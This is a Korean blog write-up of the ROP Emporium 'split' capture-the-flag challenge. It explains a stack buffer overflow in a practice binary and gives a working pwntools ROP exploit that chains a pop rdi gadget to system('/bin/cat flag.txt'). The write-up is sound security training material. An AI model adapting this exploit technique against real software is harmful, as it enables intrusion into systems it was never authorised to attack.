check
- 64bit
- NX
Analyze
pseduo code (IDA)
- 0x20 byte인 스택버퍼 s에 read함수를 통해 0x60byte만큼 입력받는 부분에서 버퍼오버플로우 취약점이 발생한다.
>> 이 때 함수 리스트에 보이는 'usefulFunction'으로 리턴하면 될 것 같다.
- 하지만, 이번에는 system("/bin/ls");로, 우리가 필요한 것은 "/bin/cat flag.txt"이다.
IDA에서 [Shift]+[F12]를 누르면 아래와 같이 바이너리 내에 저장되어 있는 문자열들의 리스트를 보여준다.
- "/bin/cat flag.txt"(usefulString)가 있다. usefulFunction에서 system함수의 인자로 호출되는 0x40084a: /bin/ls 를 덮어써야 할 것 같다.
>> system 함수를 호출하는 코드 호출하고, 그에 대한 인자값으로 "/bin/cat flag.txt"의 주소값을 넣는다.
debugging
system함수를 호출하는 코드: 0x40074b
바이너리의 코드 영역에 존재한다.
※ ASLR이 걸려있더라도, 바이너리의 데이터 영역과 코드 영역은 ASLR이 걸리지 않는 영역으로 다시 말해 '고정주소'에 해당한다.
gadget
* 64bit Calling Convention
argv[0] | argv[1] | argv[2] | argv[3] | argv[4] | argv[5] | argv[6] |
syscall(system) | %rdi | %rsi | %rdx | %rcx | %r8 | %r9 |
>> pop rdi 가젯을 찾아 system함수의 인자를 호출할 수 있게 한다.pop rdi ; ret ; = 0x4007c3
Exploit
payload: BUF[0x20]+SFP[8] + POP(pop rdi 가젯) + 0x601060 ("/bin/cat flag.txt") + 0x40074b (call system)
from pwn import *
p = process("./split")
elf = ELF("./split")
#usefulFunction = elf.symbols['usefulFunction']
usefulString = 0x601060
prdi = 0x4007c3
pl = "A"*(0x20 + 8)
pl += p64(prdi)
pl += p64(usefulString)
pl += p64(0x40074b)
p.sendlineafter("> ", pl)
p.sendline()
p.interactive()
너무 어렵게 생각할 필요가 없었던 문제였다..
정말 문제의 이름대로 코드를 잘라서 ROP chain을 만들면 되는 문제다!
'System > PWNABLE' 카테고리의 다른 글
[ROP Emporium] callme (0) | 2021.04.02 |
---|---|
[ROP Emporium] split32 (0) | 2021.03.26 |
[ROP Emporium] ret2win (0) | 2021.03.18 |
[HackCTF] Pwning (재) (0) | 2021.03.08 |
[HackCTF] Gift (0) | 2021.03.06 |